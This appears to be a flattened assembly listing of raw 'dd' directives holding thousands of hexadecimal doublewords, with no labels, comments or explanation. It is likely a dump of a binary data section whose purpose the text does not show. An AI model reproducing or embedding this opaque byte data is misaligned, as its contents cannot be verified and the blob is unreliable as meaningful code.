4D47FE3Bh dd 79D731D3h, 3DE3EDF0h, 68071D02h, 0C31624A1h, 40D277DBh dd 0F600160h, 685490BFh, 5EFC252Ch, 5551C7D4h, 0CA121D2Ch dd 7D7B332h, 12736620h, 5AF4ACD5h, 8B865E6Ah, 0BF25B2Dh dd 0F3EB0C7Bh, 0C522B2EDh, 0F025220Bh, 0E5F3C334h, 0CCA00817h dd 136C0186h, 0D2E95169h, 2F447B6Fh, 9CD122C6h, 0F46F585Fh dd 695A4875h, 0C6EBB552h, 5E970C0Fh, 2C37261Bh, 0AE3DA473h dd 4EE9E1F9h, 785D63E1h, 4E9F46E6h, 0DE6B004h, 33235831h dd 5FD92CD8h, 827775FEh, 2D53D7AAh, 8B57A7BDh, 88FFE79h dd 0D1ADD710h, 68524296h, 0B5C670DFh, 0DE261AC7h, 50E69109h dd 272D0BA1h, 0D7904C23h, 3EB4E332h, 0E7C9F7EBh, 68F62B55h dd 0E16683DAh, 32178F3h, 0E6C00CB6h, 3EE9908h, 0B62C6EF5h dd 9034AF4Fh, 54B326BCh, 2F8F68C1h, 23E9F431h, 0CD037572h dd 16FC14B2h, 7364C9DAh, 5B2DD877h, 0EC33F56Dh, 3D8192D9h dd 2C2168Fh, 2D778AFEh, 0DFA042A3h, 0DA0CFC31h, 431C677h dd 0F15833F2h, 2DA4BC76h, 5875AC5h, 0B56E3EC6h, 149D1E47h dd 355E08EEh, 0EB1825E1h, 56BE5953h, 2CD70480h, 0C830FA10h dd 3C0B4BBFh, 61D86C9Fh, 0A4CF2116h, 0E04B7726h, 0F5843685h dd 0A126BCBBh, 0E86B86E4h, 0CF296B1h, 5E135C17h, 0EC34526Bh dd 4831C0BEh, 4A292BFEh, 9E4FBFC5h, 0D931582Ah, 43C7B526h dd 68E7D818h, 123A5490h, 0BE1954E9h, 27EE3C80h, 76C9BE38h dd 0E893553Fh, 4061DD26h, 9401339Ch, 0EE313D12h, 6B14E8ACh dd 2118BC66h, 85E99DC6h, 0A73ED5B4h, 0EFC8C059h, 0C7C2E119h dd 0B131131Ch, 6AF67E25h, 4B374B12h, 0E93A87ACh, 0BAA0E8D7h dd 1606F257h, 0EFEAD170h, 27A12B40h, 98E9354Eh, 9D77B2CCh dd 0A7583BD0h, 582E76A3h, 631AC128h, 0DDEADFE5h, 12849663h dd 7B5A9844h, 49C0F2F8h, 0E90F9730h, 5E09DE5Ah, 25C1D629h dd 0BF582F24h, 2F54323Ch, 248B71E9h, 0AF1C45F7h, 58299CD7h dd 0AE0ECD51h, 0D149407Ah, 0EEEBB80h, 0C19F6977h, 0E8E4B6AAh dd 0B3894486h, 80030CB2h, 8850A4F3h, 5DFA48D8h, 11F1842Dh dd 0E06A4959h, 70605BA6h, 40BDC731h, 2D66E193h, 9D79E90Bh dd 82258FF2h, 0E31C573Dh, 0CCFC535Bh, 0EAE9D106h, 0EB4E577Bh dd 0EA4AB1E3h, 0F4D63491h, 55A2296h, 0E25E9B0Bh, 0FDF37A94h dd 0D922B09h, 318340CEh, 928AF8CAh, 0A7A98F33h, 6D01ED76h dd 0E7C14456h, 91AC8230h, 805B0759h, 0ED66EEC5h, 4D70061Ah dd 0BDE9EC12h, 0D2F19956h, 9AA1F2E0h, 0E6C12F5Fh, 9727B3D0h dd 62705E84h, 79553EFCh, 51E9C11Ch, 88406EB1h, 6DAF5809h dd 2F419D59h, 24B92C1Fh, 0A003BC50h, 0E1204A46h, 0A365269Eh dd 3D51C130h, 0DB94D4B5h, 0B081EDD0h, 2B73921Ch, 804CDE5h dd 0D4BF63C4h, 0FA14AE9Dh, 0F1C4B7C7h, 0D3BF3884h, 0E9C029B7h dd 8CC0D5F6h, 354275BBh, 0E5D8A009h, 0B8332DFCh, 5502CFDCh dd 57437C91h, 794BF271h, 0E9DD0573h, 7FDBB1A0h, 47A48501h dd 0ABF13B0Ch, 694D6838h, 4263C1A4h, 0C8BD0082h, 4C383D62h dd 5F1DB91Ah, 54F04A42h, 5463AB67h, 7D976897h, 7EEE7D0Bh dd 2CA87BF9h, 5DA6683Eh, 0D2C4C490h, 88775A4Bh, 14506C87h dd 0C050185h, 4E3BA42Dh, 3D20605Fh, 5504B3Dh, 45DB03A9h dd 7E410AFh, 1205AF41h, 0CBA6C1BAh, 0AD983B5Bh, 0BE3EE914h dd 325EEC2Eh, 0DE6257F9h, 985F91C2h, 2E4D1122h, 12BB77B9h dd 43ADF4AFh, 58864F4Ch, 0E0D32040h, 94DD95E6h, 0C6801781h dd 1E950BFAh, 0A2ABAFAh, 0DE2D9C5Bh, 201B4659h, 0BB095208h dd 8D6627F7h, 0D110FC7Dh, 0B7415AD1h, 0A18B320Fh, 0E4B73E40h dd 4A4F6CF2h, 0EB8B74BBh, 0F3E8FA5h, 90245B02h, 53A5D54Bh dd 7EE2BBF5h, 0B5D1E9F0h, 0B2059BB2h, 5D489826h, 0AE2304BFh dd 0AC342E8h, 7F8ED56Ah, 1E17A6D3h, 5407919h, 0FF030C35h dd 33E9181Eh, 58C3E112h, 6803E4AEh, 9953523h, 5480ED5Ah dd 0B75552D5h, 0DBDDD84Ah, 0B0F74956h, 90D2F73Eh, 0CAFD0509h dd 452F66Ah, 0BCA33C86h, 50C18BC5h, 88EAC57Dh, 1C31AF92h dd 1CA4CBB7h, 0A9F70604h, 0D02032B2h, 0D256BFF2h, 0E45E4B93h dd 65A76845h, 0A92B32BFh, 572DA476h, 0E0953534h, 60DD593Bh dd 2AA66C3Ah, 0CC07886h, 5D99779Eh, 0F8B430E9h, 58C22866h dd 6C18D0B0h, 404C0FEh, 150CA817h, 5997234h, 0E9C32C67h dd 0AA0F958Eh, 174F8AE6h, 0C20D8A6Eh, 550876E9h, 68529520h dd 0D0511C98h, 0D12260D2h, 380D4512h, 9D83A704h, 14E1E9CDh dd 0C84A357h, 0C231B9EFh, 0CA251DE9h, 0F6D6680Bh, 10C816FBh dd 961DFB35h, 42894172h, 7851DD16h, 1AF8F30Ch, 1CEBB64Ah dd 0F413C281h, 2F4025Bh, 5EF09239h, 0CE94A0Bh, 1EF768C9h dd 56DF87D3h, 5D3E4B50h, 8D7FC6FDh, 56FEA7D6h, 58F4F08h dd 62395E68h, 64FF6CF7h, 0F55C9DCEh, 5EFE933Dh, 124330EBh dd 1E011B0Ah, 0E96EED81h, 0B36F1CA6h, 0F507109Bh, 0E7021C48h dd 5D1A6472h, 0E56180D7h, 95451C3Ah, 541F7D00h, 18CB5017h dd 87CF09F1h, 9BDB8679h, 0EF92FF00h, 2535EC89h, 0E7195453h dd 48E9E456h, 0B024D160h, 95C62877h, 0CB8BDCE5h, 0D23D741Fh dd 6BC359DFh, 0E48FED9h, 6873EB80h, 58297D45h, 8D4CDDF3h dd 0E0114D18h, 0F82D12C8h, 5E5EE16Bh, 0D252F87Ah, 1715950Fh dd 77C48E20h, 0BD6A4E04h, 210841B6h, 13E86E1Dh, 854E12B8h dd 7B2D2170h, 7EC82C2Fh, 705146Dh, 0A94E90Ch, 0C55CFE2Eh dd 0DC9C2D7Dh, 44880817h, 10480501h, 5AE817C2h, 0D6EEF55Ch dd 0DB306928h, 56816360h, 9206A3D8h, 0ADF44AF6h, 0E3529E59h dd 27D91BD1h, 311E727Eh, 84B1E45Fh, 7FE91570h, 5806D3Ah dd 0CCD649Ch, 1C94295h, 5692E907h, 0A8F72F81h, 6E056E52h dd 18825CF0h, 0C02541Ch, 0B648760Bh, 0F94D7AD3h, 0FA909D9Eh dd 5713413Fh, 9E98FD01h, 1743F797h, 143D987h, 39C98106h dd 3A483D0Ah, 5EA36ED7h, 0F1D03ABFh, 5EEF4AF7h, 8CF52ABh dd 5112FA59h, 0EB960605h, 0FB0539AFh, 0C1D55ED5h, 0E4445CE3h dd 8397ED22h, 80E6D0A7h, 0F420B0F6h, 0E4C0005Ah, 0ABB15103h dd 0DE629AE9h, 455D5826h dd 34A54220h, 61BB5804h, 4D0914FFh, 31AB3A90h, 3FA152B4h dd 0DA864E41h, 9AD78853h, 5BF484FEh, 0E2B291ABh, 0D0D0DD58h dd 8B3BF280h, 78E90A28h, 68842DCEh, 30BF36DCh, 2FA0B8A8h dd 0B0476F2Fh, 81C8880Ah, 3CF13E46h, 1FFD3730h, 0D7066235h dd 0B035532Eh, 0C2973834h, 0EEFB5F5Eh, 7445E9E2h, 0EFD82DD3h dd 98846B05h, 5EE031B7h, 2A6702EAh, 0CA012711h, 1E194E60h dd 0E0907195h, 90599ABFh, 2A536332h, 8406FE4Fh, 885D5055h dd 0EA519385h, 0EAA33D1h, 242ABF57h, 1BB69B7h, 0FBE94F26h dd 50429371h, 3D81381h, 5380CEDh, 0B0C87773h, 820D9427h dd 0F862C286h, 4BF02F63h, 29201058h, 0FD0882CBh, 608811E5h dd 38D72597h, 0FBA5B618h, 8513D1FAh, 0A347BA68h, 61191111h dd 0DD7C327h, 0D57B0C22h, 197D0B0Bh, 0C52199D5h, 2B3E7E25h dd 23522594h, 0C09C516Bh, 9BFEC743h, 65934CEAh, 6238D641h dd 6C02610Eh, 6E8C140h, 0A5002540h, 48149274h, 0C02FFE2Dh dd 1D34EB7Dh, 6AB54CC3h, 960809FDh, 9F3FE2Eh, 0C60110CFh dd 0E9369057h, 39909447h, 19E955ACh, 4CBC2D1h, 9A88BA83h dd 2B160C5h, 0BFC8D3E7h, 8814CD98h, 20C3D02Eh, 0B098055Ah dd 4B01C4A5h, 5BECF2C5h, 0B86121FAh, 882E85C6h, 7AC151D0h dd 0F0511ABAh, 1CBDED38h, 0FA94DF6h, 75D90500h, 0F02949C7h dd 0D5072D51h, 0C4DDC8Eh, 0D1A8564Eh, 0C94C3905h, 20D0E871h dd 88CBA87Eh, 0BEF097CCh, 6CB12BA5h, 0C871846h, 2D4F780h dd 0D4F95BFEh, 0F6B35382h, 33825730h, 0D6F92FAAh, 56A52FBFh dd 4A742D9Fh, 0C1C6073Bh, 0EEB7CE28h, 7AE9755Ch, 0A8A09DC4h dd 0D522AC3h, 51C260E7h, 4108B951h, 245D5984h, 0CEE968FFh dd 68C4555h, 4FE169E9h, 0EC4BB7ECh, 0BD68DACh, 999153EFh dd 6F79EC47h, 40A46816h, 1731D08Ch, 975DA37h, 0C00181DEh dd 2026622Dh, 487BAE1Ah, 0A2186660h, 25348415h, 0B361E8E9h dd 10B3674Ah, 0A84ADC14h, 67E74B3Ch, 57E81D51h, 3A112468h dd 0D76FC280h, 0DBEA2075h, 90D551DDh, 64A76Ah, 5F21AAEAh dd 42972902h, 750809F0h, 68201416h, 92E0BF41h, 68D7C57Dh dd 5F4E43E8h, 53A81272h, 0D3D0BA3Eh, 4B3AFAE6h, 1080E9BBh dd 0D29D2AC4h, 6817C139h, 31EE2F09h, 7ED26026h, 55E1CEC9h dd 7585634h, 8E1D6125h, 4FE4B669h, 0F2877497h, 226D465Dh dd 0C0129AA6h, 0F1BE02EDh, 7D9E884Fh, 7ABE0037h, 5732547Bh dd 0AAA4CFF7h, 0A2D359B2h, 2A05C04Fh, 91F316FCh, 460464DBh dd 0CBCFD93Dh, 327140FAh, 0D8E16D8Bh, 7260ED4Fh, 32144AD0h dd 77B2558Bh, 0A5EF7675h, 0E91B399Ch, 0A020A0B9h, 4A102B46h dd 0E1AB86Dh, 0A5262A31h, 0A1B918E2h, 674FC302h, 28571C5Ah dd 581208B3h, 9DDAA9F3h, 1F37161h, 0FC2BF821h, 82E9E182h dd 88C1A1C2h, 616B3867h, 13EB4A32h, 0D00C88E2h, 9DF2EC7Ch dd 85691FDCh, 0A6E865B5h, 2E9F294Eh, 56A0D0F9h, 0DF4A80E9h dd 3717888Eh, 6E69DDABh, 0D9B176F8h, 96213809h, 174465AEh dd 2BB3F158h, 0AA8579A6h, 0CB9AA811h, 8C67166h, 6807EC7Ch dd 5F141A3Fh, 0EF509FA3h, 742F1329h, 1217ED3Bh, 0FBE8E07Ah dd 7101EF93h, 36EE612Eh, 31920C83h, 0E5E01B22h, 2D486EF8h dd 0BAFB18D8h, 3C464E84h, 5AF4DEF7h, 0BEC790C2h, 0A67B0C5Bh dd 41EA844Bh, 19ECF545h, 5855E43Eh, 0B0C57FF3h, 56836580h dd 0FE335EE8h, 2E54001h, 98DB7FC7h, 60012D7Bh, 72671838h dd 0F73755CEh, 0AB502DD7h, 1766464Ch, 0B3502AE9h, 41EE4A50h dd 0A018692Eh, 1027277Ah, 1A4C72E7h, 0A15AE138h, 1030D764h dd 52F80C51h, 3F727CB2h, 0CA9299EAh, 0F92044E6h, 2D07B2FEh dd 568AE267h, 2EFCA74Bh, 126AEFD1h, 0E1E2FA38h, 0FFD72C8Eh dd 4F1044DFh, 64A85FC5h, 0FF4482Eh, 384E7FCAh, 7013BFD2h dd 0AB69D8AEh, 5BB8940h, 5725518Eh, 8DF38643h, 7CED810Fh dd 8109C95Dh, 0BF323B0Fh, 7FF1EC6Eh, 760680E6h, 18863F5h dd 0BCBEFA5Dh, 2E2C0948h, 0B1928185h, 3AF37BC5h, 13D085CBh dd 59CE0802h, 0D7CFB551h, 0CD81DB2Fh, 856997E9h, 0D102E1DBh dd 262E57E0h, 0AFAE5C7h, 44D8C43Fh, 616EBC1Ch, 0DA20D20Fh dd 64F2F960h, 0EFBD063Ah, 0B47D05E8h, 0FFC59251h, 0B02169F1h dd 9FC37E20h, 0A168C790h, 100D3B49h, 0B02D2158h, 200B8FF5h dd 53C4B450h, 0F6D009B7h, 0E50951DFh, 0FE9DE8F0h, 0A00472F5h dd 5B8EF25Fh, 60437001h, 40C64745h, 67BA5264h, 8B0115A8h dd 7809A8F4h, 51815C1Ah, 0CC8B2B53h, 32170315h, 0EF661278h dd 922CA2FEh, 0E1B900EAh, 0E955DF3Ah, 30D02C4Ah, 58ED3196h dd 3D19983Eh, 205D3FFAh, 76126F2Eh, 8CBF27C9h, 6A6BF692h dd 449A0119h, 1D2F4373h, 38200456h, 0CAD4BF2Eh, 2159080Fh dd 1AC768F5h, 9ED1603Bh, 4C4CDE1Fh, 935E3017h, 48590358h dd 6E299925h, 0C5DC176Fh, 45FB8F6h, 85B56E4h, 4F4AAA41h dd 0D60CA70h, 963E4738h, 0FD6CA559h, 37493AC6h, 34B800FDh dd 0F75DB530h, 130577D8h, 8943B735h, 63BF2E1Fh, 0A0E4EA85h dd 1209688Dh, 740A852Fh, 7244009Fh, 0EAC135D7h, 0CF2C7890h dd 0DEAF56DAh, 6BCA2FA3h, 0D66B68F3h, 0CB8D5893h, 96405881h dd 4A954F52h, 0EA9DFA2Ah, 5164730h, 0C152E307h, 0CEA3C3E6h dd 20733BA1h, 0A116F61Ch, 0AA000CE4h, 425A0BEEh, 5236C116h dd 7BDDD755h, 0F86A49C9h, 2F435803h, 7A26D85Ah, 18DA6F52h dd 685F5B23h, 4F98AC95h, 9CEF04C5h, 0B5095AF0h, 0DBC530BDh dd 76B601B5h, 0C15AF488h, 3CFA2BECh, 87251636h, 0FD1529FFh dd 2184BD2Fh, 0A1129126h, 23A32B47h, 29E95EC1h, 752AA6EFh dd 2755DD20h, 0B17E41A4h, 0D675FA2Bh, 0F744C219h, 0BD1765FCh dd 0AE82D3AEh, 5D9F2CEEh, 91FA4A85h, 204D5F34h, 323D7EDFh dd 0D02927DEh, 213E4008h, 9A35EB77h, 85EE850Ch, 0FD54BEA6h dd 0CBAE4BF3h, 0EDC109ABh, 0BA120005h, 0C409ECA5h, 0AE4EE9C8h dd 4ECB5B50h, 0B7FA81BFh, 6DB23A64h, 0C9FCE983h, 5A092E44h dd 38AB844Ah, 809EA315h, 0E968E08Eh, 62337673h, 0B87DBB08h dd 0E38B2D6h, 6866D2F6h, 5A777EA9h, 0E91A0CE7h, 0E8F718D4h dd 0EE5C5ED6h, 8C6F927h, 59172818h, 35B88FAEh, 6B81D4D2h dd 8604BF62h, 0CCAB0BA8h, 3D4AF9EAh, 709D50F5h, 48F8588Ah dd 1D51D110h, 5ECB5266h, 479AA370h, 7F39FB40h, 0B5E7C749h dd 0BFEB0446h, 8A8BD8BDh, 2BBD3F41h, 2C5C14EEh, 9EF15B2Dh dd 3BCAC943h, 3B96CFF5h, 1090F6BFh, 0BDE5AB5h, 0C1C56F4Fh dd 9F0E90Bh, 52F95C94h, 8CC967D6h, 6078D877h, 65BA2EFCh dd 295F5C12h, 0A6FE0D12h, 58013CEEh, 411341CBh, 1DAF890h dd 0FDEC22B9h, 9B8B030h, 28D436A0h, 4E462F7h, 0E3BE5E08h dd 0E9C80B3Dh, 9BAE2840h, 0E2CD55A7h, 0F614680Eh, 0E9C5FCFCh dd 1DFDAC1Eh, 0B0D2CA09h, 0E7028FB9h, 735D1FB4h, 45B69940h dd 0C3A5930h, 60A8220Bh, 9758A14h, 31091AE1h, 5358C7h dd 0A96147C5h, 0E9920A45h, 0AFDDC22Fh, 298684D5h, 8F2DAA12h dd 0CB4C728h, 0E9D7566Ah, 0A3CD0A31h, 93E7C1F3h, 0DDE3B044h dd 593D2C1Dh, 0D0AD381Ch, 7A5ED519h, 0CE3151F6h, 252AE981h dd 0D4913A41h, 746C8D93h, 6336DC1h, 0C9E02838h, 0F3308449h dd 0B2D379F8h, 9F563FEFh, 0A5FF2FF2h, 49677766h, 54C9F88Bh dd 6B1C807Bh, 0CA312502h, 9727BBFh, 0C05C5742h, 32A13516h dd 2888F32Fh, 0A703C251h dd 35635F45h, 0D10B51A3h, 0F626C9A8h, 336A085Ch, 820C101h dd 5C985749h, 0AAEE033Fh, 0B020155Bh, 45F1CE6h, 8CE9581Fh dd 2CA299AFh, 17C74260h, 30EA1EE8h, 3C4B683Fh, 86353BDh dd 73FD928h, 16F40622h, 0CAABF3A5h, 0ACA4B6Ch, 0F4C805Ah dd 419F09C9h, 75CE052Ah, 133F8E47h, 0B0E82B70h, 9B9CA986h dd 0D1FAE57Eh, 7253489Fh, 9042E0Bh, 517E0256h, 7A5A6660h dd 0CA7F6A0Ch, 0FCCF1145h, 0CDC2E11h, 86E70166h, 0A6320A0Dh dd 0CD0BE22Ah, 279858C5h, 80B3AE9h, 0E6C5E875h, 767F7E5Dh dd 104B8C1h, 3826CEF6h, 7BF18964h, 0C707D18Bh, 0C0083842h dd 6AC14D8Fh, 4F670ED4h, 0CA296005h, 0F5C5A5C2h, 36A10150h dd 42EE0422h, 32CB685Bh, 60608454h, 9062DE63h, 3DC9F35h dd 81BE0113h, 3FEDE9C2h, 0B6FB43C5h, 56952D5Dh, 0AFADB5ADh dd 191756CBh, 17B5F35Fh, 0C2B2CC20h, 8948ED5Bh, 59D8613Bh dd 0B98046D8h, 37644FC3h, 0CC8EB57h, 0EF6F17EAh, 1054AC20h dd 214BF06Ch, 400CED91h, 0EF0184FDh, 40CB3297h, 2519D8D4h dd 0EDD60C65h, 0E978A98Eh, 18707F63h, 52E7A833h, 0F51E0443h dd 0C7A07C8Dh, 0E8E3E4EBh, 4FE94DDDh, 0E91FE99Bh, 64462782h dd 0B731A900h, 352B050Eh, 9C197D9Eh, 0CA210CF3h, 0EC94EA57h dd 0B046A202h, 0B2F7616h, 84F60D18h, 0DC8EEB9Ch, 11E6AB5Bh dd 4BE70CD8h, 0BF46D441h, 81B996F8h, 2ACBD08h, 24823986h dd 30731444h, 13470360h, 485B8FBEh, 0D71CE936h, 0E96B125Dh dd 77A84A15h, 0C79940B5h, 14AC70DCh, 1D391BB2h, 406401Bh dd 3144DB4Eh, 0F861BBFDh, 502E0C7h, 0D136EBDDh, 1620BB2Ch dd 12E616BFh, 0CF430758h, 0F4B60FAh, 324EFC1h, 6D00CA47h dd 68708266h, 0CC2C4E45h, 724FCF04h, 8AD5E2C3h, 17E402FEh dd 4AE1E42Dh, 0B9D9CC3Ah, 0B3A8FE5Ah, 3090E7DDh, 96A15954h dd 4C0A3834h, 0C54E10DEh, 18F58100h, 2956BFC8h, 32CFEEA3h dd 5C50ACFBh, 29F0E030h, 2C22BCEEh, 3C4321DBh, 9308C628h dd 556885FCh, 24D2249h, 595F5FC6h, 557862BEh, 3B96524Fh dd 625DA1A0h, 0C21BDC52h, 0B7DE0Bh, 19657DBCh, 0FDF35A53h dd 365A3AB2h, 0F4CA578Fh, 3A36A30Dh, 25E97738h, 0AE45426h dd 3521314Ah, 0C1047FA8h, 0C20C9765h, 0EFBCF657h, 0FEF8ADA2h dd 0EA05208Fh, 0FCDDB5AEh, 7913101Fh, 0EDCA5359h, 0D1001848h dd 2D7A302Ah, 0E83A1B75h, 5AC8716h, 5430694Ch, 1A0603F6h dd 56EDF4E9h, 9D266455h, 832BA7Ah, 55ED7168h, 0B02F4F4Ah dd 0FEC59BC2h, 5C1F2DDBh, 0F562F10Dh, 262537Fh, 0FEF3BE7Ah dd 12BE46D3h, 0C0AC2B7Fh, 0CCC1B5CBh, 0D7E96E05h, 0FC781027h dd 0F24256BDh, 14580D56h, 6E4981D4h, 0BC42BD90h, 0FE994A4Bh dd 0F85F368Bh, 67E90CE9h, 0EC91B0BAh, 0DDE5BDF0h, 37106884h dd 8080B2AAh, 0CB1ADB05h, 0B92D0B48h, 3687132Eh, 3E07CAD8h dd 5BE91150h, 5EB5B2C8h, 708344BBh, 0C5D1FC1Ch, 36224BF4h dd 2ADF2880h, 0B6536485h, 0F1271BE1h, 4E2F64CBh, 0B836CC6Fh dd 0BF52C555h, 0B0C89CBFh, 4E12E5Ah, 0A23C672Bh, 0BBF701E5h dd 0C158D975h, 7F1FC93Fh, 32615F2Ch, 0B87EC39Dh, 7EEAACE9h dd 0B267B6E8h, 86A77B2Eh, 0EBD129B4h, 92B80D88h, 2F1FFC1h dd 0E8F40CADh, 0E90434ACh, 0F1B8950Bh, 4805AEC1h, 9ABAF422h dd 44487C9Fh, 8A88BF58h, 308FC585h, 75A3BFE3h, 0DD82011h dd 5D84F4E9h, 99A6087Ah, 390D7025h, 2497C035h, 23D7FA7Eh dd 91C02535h, 5BE90516h, 358BC08Ah, 0C93A30EFh, 3BA9855Dh dd 88FA786Dh, 57024743h, 13E93C75h, 277AFB2Bh, 5260455Eh dd 12076851h, 8C5AFB2Bh, 0D961F7BFh, 2999E904h, 1E0DCA2Eh dd 7DE71513h, 64A40E65h, 0D9DEDF42h, 3D86893Ah, 773B6B0h dd 2B102D26h, 0E4228C01h, 2B71E94Ch, 70776F23h, 2CD83AF2h dd 0F831277Eh, 0DD4BD0D4h, 5567466Eh, 2AC03F4Ch, 30E94071h dd 0EEBF7888h, 0CF26161Dh, 29127968h, 0B26977BEh, 2A54F5FCh dd 9883058Eh, 1DB6C938h, 0BE1C4A35h, 0C237B284h, 9FE8C08Fh dd 74A7B18h, 148AC4AEh, 3D2F6C08h, 29174B5Bh, 0BA9064EBh dd 8B6E4B8h, 7BAFD793h, 0F7140CE9h, 0BDB45C58h, 65044A13h dd 4C1D93BFh, 57C2B744h, 1016C0F4h, 0DF037BF2h, 874E31B1h dd 5609F760h, 896F17D1h, 12010BF8h, 0F5C63ADDh, 92250BF8h dd 4F22D61Eh, 0EDC75F04h, 0A5B32824h, 0F6C5F05Bh, 0F783CF83h dd 2701CCF9h, 4EDD59CBh, 0C0E92F51h, 74B541D8h, 0C7D173F1h dd 5A21ADFEh, 3E5A7CDBh, 0E65AE766h, 4CDF2FC3h, 9D199A66h dd 0E97322D5h, 590BFFF9h, 5DB68FF2h, 4F0F1AEAh, 48780054h dd 241C9F25h, 1FCA47E5h, 8740EF03h, 227E3558h, 786A8F25h dd 5FA89045h, 72DAE6Fh, 913BF8F9h, 6BE22057h, 0D73F3704h dd 3D82BF0Eh, 627F716Dh, 3F7B5722h, 15CF21C9h, 0C56A6E8Ch dd 0CFD0BE8Dh, 0B21FA7E9h, 319609B4h, 7606068Fh, 0DD970D92h dd 3930BD82h, 6159E95Ch, 4021F252h, 832C0AF6h, 7F8C883h dd 0AFB53059h, 0A40EE602h, 61965A1Eh, 361CDA07h, 18EC648Ah dd 40FA8BC8h, 427AB3B5h, 8AFCFB5Eh, 65DA7316h, 26221B1Ch dd 0BDD9B040h, 0D6A603B9h, 6F7DAD10h, 0D8A04FD3h, 7EA6857h dd 0BCB3F195h, 874C5984h, 0C4B8C930h, 4FA6FECBh, 67191042h dd 15A65BDBh, 28B89801h, 3E99316Ch, 6F4417F4h, 18C4BE8h dd 0A425E911h, 0F5C5226h, 12B25202h, 38B6AA66h, 59C3F49Dh dd 0E90B0A01h, 93DD6C9Ch, 78FC124h, 1F508433h, 0B2E04A7Fh dd 773B787Bh, 5C95F874h, 68165403h, 0C7F321BAh, 0A573ACD3h dd 5B0F8A01h, 76303707h, 5A327DB0h, 446F544h, 0B2DAA808h dd 254F7E01h, 960047D7h, 0B220A859h, 0B049F0C0h, 0B4DF3BF8h dd 29318B4Bh, 0CD19DE28h, 8E408125h, 9F026985h, 0D9FF935Dh dd 0D16B79C6h, 10C638Fh, 0B57E295Bh, 1B9BECAFh, 3EAC4EB7h dd 81A4FE29h, 31289686h, 2D9D2DDEh, 7F621F45h, 250C7A58h dd 61C251Ah, 9A8E4B89h, 0B034BF56h, 349FC006h, 354C2DE9h dd 8782AF59h, 7F41E478h, 0C814ACF0h, 768FFB12h, 0BF4D90Bh dd 0CFA077E9h, 2EA1E17h, 40C35F4Ch, 975F5A07h, 0CA3EBC04h dd 8F210A1Ah, 2B1DAD68h, 51C152ACh, 7E4F87E9h, 5C87F4F9h dd 6474D9F6h, 7D101B62h, 0DC654D9h, 0F0329263h, 0E00BB5C2h dd 25B54EDFh, 0D873C982h, 30985DADh, 22C0B3E7h, 0C33988B8h dd 0AF050775h, 0F5747E1Dh, 0A2992490h, 19BE2676h, 448600AFh dd 2852C527h, 27062D58h, 9C804FE9h, 8868B353h, 85BDA09h dd 2D27FCD1h, 0F124F5CEh, 5113E040h, 1A49A0ABh, 44EA0BC7h dd 608CEB86h, 0B2B933C3h, 1901277h, 2A10F11Ch, 2FFE1C94h dd 0AA8E10A1h, 8245BED8h, 7E43EF1Ah, 0D7B129D5h, 0DFE952D3h dd 0B1283D17h, 25470D3Ch, 6E1D440h, 79D511E9h, 95BED04h dd 0CC42D12h, 2466A9BBh, 8D1203EEh, 882CA5BCh, 470408F1h dd 109C762Fh, 0CF26641Ch, 0EB7696A9h, 0D0029C2Ch, 3FF780EFh dd 0AC98C685h, 0CC56965Fh, 0B88DBEFh, 909FB0E9h, 0E25D9419h dd 84C16246h, 0EDDCD987h, 80D13C3Ah, 0B1BB5341h, 9DAF5246h dd 0F7E8928Dh, 5F31A09Ch, 97F2D0Bh, 37F54CDh, 3AA07B6h dd 3A1E3804h, 90BE15C1h, 0D2F1F22Fh, 58BD39F0h, 4A82075h dd 17BFBE5Ah, 0F926E4B1h, 0DCE2235Eh, 545B2A81h, 54016F01h dd 0D9F7CA87h, 21208B0h, 18496568h, 0BEEE107Ch, 38317660h dd 13EBBE0h, 0F62B9FD6h dd 7E9AF6Dh, 368AC7A5h, 0A680D5ADh, 62523E5Eh, 0CD62AF90h dd 0F558C133h, 8B1E44Bh, 2A94E9BCh, 40B106B0h, 0BA1E2511h dd 0DC06F2Eh, 148D479Ch, 69050548h, 0C0EA7098h, 3AAEE961h dd 27F7ECBDh, 217CE560h, 4173146Ch, 7FA42A59h, 0B4500F3Bh dd 120C6831h, 0E640FBEBh, 0F5795BBh, 5AE04538h, 19123FFh dd 0C59CC4CBh, 1B240491h, 515804C8h, 0C23FF2AEh, 0D11A5668h dd 35EC8424h, 7B708184h, 0F01064E2h, 0C3045E73h, 1B216853h dd 1616F7B3h, 0D1892005h, 11168051h, 6F10DE01h, 48E90908h dd 93947D59h, 228B5D4Fh, 0D53CA179h, 734DEAC8h, 38817B87h dd 7C3B1722h, 0F2C0087Bh, 0F1022853h, 0C256A94Eh, 9CDC23Bh dd 0D1F28208h, 0BF0F0061h, 0D1B551C8h, 5259621Eh, 2A6E6440h dd 0DE35FD2Dh, 7D700461h, 462D046Ch, 0EB93C0AEh, 6223CCEh dd 0D1012F22h, 75E92718h, 3CB9234Bh, 0B1FE9B0h, 3DD489Fh dd 58537A48h, 0C58BC654h, 0F0E58670h, 21FC2845h, 0C312769h dd 1265904Ch, 0AE1B7FE6h, 5DE9D0F4h, 0BB02C21Eh, 429B76FDh dd 0D69D6A60h, 29F99013h, 6E472DEBh, 8797E6F8h, 54943EAAh dd 1D991910h, 78D6D328h, 4866F0A0h, 0A285159h, 3C1C969Ch dd 0AAB35BBBh, 38B2E90Eh, 1C8861D4h, 31DC2FABh, 43480902h dd 4D00DF4Ch, 142684Dh, 5BC2791h, 15055DF9h, 127194ECh dd 0AB251B0Dh, 0E79E4873h, 0D529A281h, 0EDA5E678h, 0EF01E07Ah dd 6A5E2DE9h, 226261F4h, 0C98EC8D6h, 49A90D62h, 2E0BCBBFh dd 10548E0h, 37B2235Ch, 462DF801h, 45958107h, 0FD680509h dd 5868BA79h, 0DF685951h, 5FD3B896h, 53CF8Ch, 78B6857h dd 0E95F7A03h, 168E3F5Dh, 0D222E188h, 10D5819h, 0A4CD814Dh dd 502FB96Bh, 0F15016B8h, 6E59E9FAh, 0E466229h, 0CF0902DDh dd 1E35965Fh, 920205B8h, 43C2D210h, 5F71895Dh, 0CCAB78B8h dd 88265197h, 0C526C157h, 0F839093Fh, 47AC001Eh, 4C2F3A08h dd 236E7AE9h, 3037B9C1h, 0DC892043h, 0C628F983h, 951D9AF4h dd 34EFFB69h, 0E976630h, 0EAE192E9h, 0F05D0813h, 3868EF87h dd 0BE5F608Ch, 0E7B8C464h, 9C20D4A6h, 95D9B5D1h, 4FD98749h dd 2F3C0EDAh, 0DDF2892Eh, 0E9057FE7h, 20BEA1CAh, 0C269906Ah dd 5D65648h, 0FEB10FA2h, 0B6A609EBh, 0BF66C040h, 0A66BB428h dd 359C2FFDh, 67F07D29h, 0F7D80A5Eh, 31BDA655h, 0F7E8012Fh dd 74FDFC90h, 